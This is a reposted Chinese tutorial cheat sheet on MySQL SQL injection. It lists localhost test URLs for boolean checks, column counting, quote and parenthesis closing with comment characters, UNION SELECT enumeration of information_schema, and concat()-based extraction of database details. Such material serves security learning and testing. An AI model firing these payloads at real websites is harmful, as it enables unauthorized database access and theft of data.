SQL注入语句


一、MySQL

测试SQL注入:

http://localhost/index.php?id=1 and 1=1

http://localhost/index.php?id=1 and 1=2

http://localhost/index.php?id=1'

 

测试字段数:

http://localhost/index.php?id=1 order by 字段数

 

查询数据库信息:

version()    当前使用的数据库版本

user()     当前使用数据库的用户

database()     当前使用的数据库名

@@version_compile_os    当前使用的数据库所在的操作系统版本

current_date     当前数据库的日期

 

查询数据表

http://localhost/index.php?id=1 union select 1,2,table_name from information_schema.tables where table_schema = 数据库名hex值

 

查询字段

http://localhost/index.php?id=1 union select 1,2,column_name from information_schema.columns where table_name = 数据表名hex值

 

查询数据

http://localhost/index.php?id=1 union select 字段名,字段名,字段名 from 数据表

 

 

闭合语句:

 

 

URL:http://localhost/index.php?id=1

 

SQL语句:SELECT * FROM users WHERE id=1 LIMIT 0,1

 

注入语句:http://localhost/index.php?id=1 and 1=1 %23

 

SQL语句:SELECT * FROM users WHERE id=1 and 1=1 # LIMIT 0,1

 

 

URL:http://localhost/index.php?id=1

SQL语句:SELECT * FROM users WHERE id='1' LIMIT 0,1

注入语句:http://localhost/index.php?id=1' and 1=1 %23

SQL语句:SELECT * FROM users WHERE id='1' and 1=1 #' LIMIT 0,1

 

 

URL:http://localhost/index.php?id=1

 

SQL语句:SELECT * FROM users WHERE id=('1') LIMIT 0,1

 

注入语句:http://localhost/index.php?id=1') and 1=1 %23

 

SQL语句:SELECT * FROM users WHERE id=('1') and 1=1 #') LIMIT 0,1

 

URL:http://localhost/index.php?id=1

SQL语句:SELECT * FROM users WHERE id=("1") LIMIT 0,1

注入语句:http://localhost/index.php?id=1") and 1=1 %23

SQL语句:SELECT * FROM users WHERE id=("1") and 1=1 #") LIMIT 0,1

 

 

 

 

 

 

连接查询

 

concat()函数

http://localhost/?id=1 union select 1,2,concat(database(),version(),user(),@@version_compile_os)

 

 

 concat_ws()函数

 concat_ws()函数第一个值是分割字符

 http://localhost/?id=1 union select 1,2,concat_ws('-----',database(),version(),user(),@@version_compile_os)

也可以使用char(字符对应的十进制ASCII) 代替字符

 http://localhost/?id=1 union select 1,2,concat_ws(char(58,58,58,58),database(),version(),user(),@@version_compile_os)

 

 

 

 

 

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM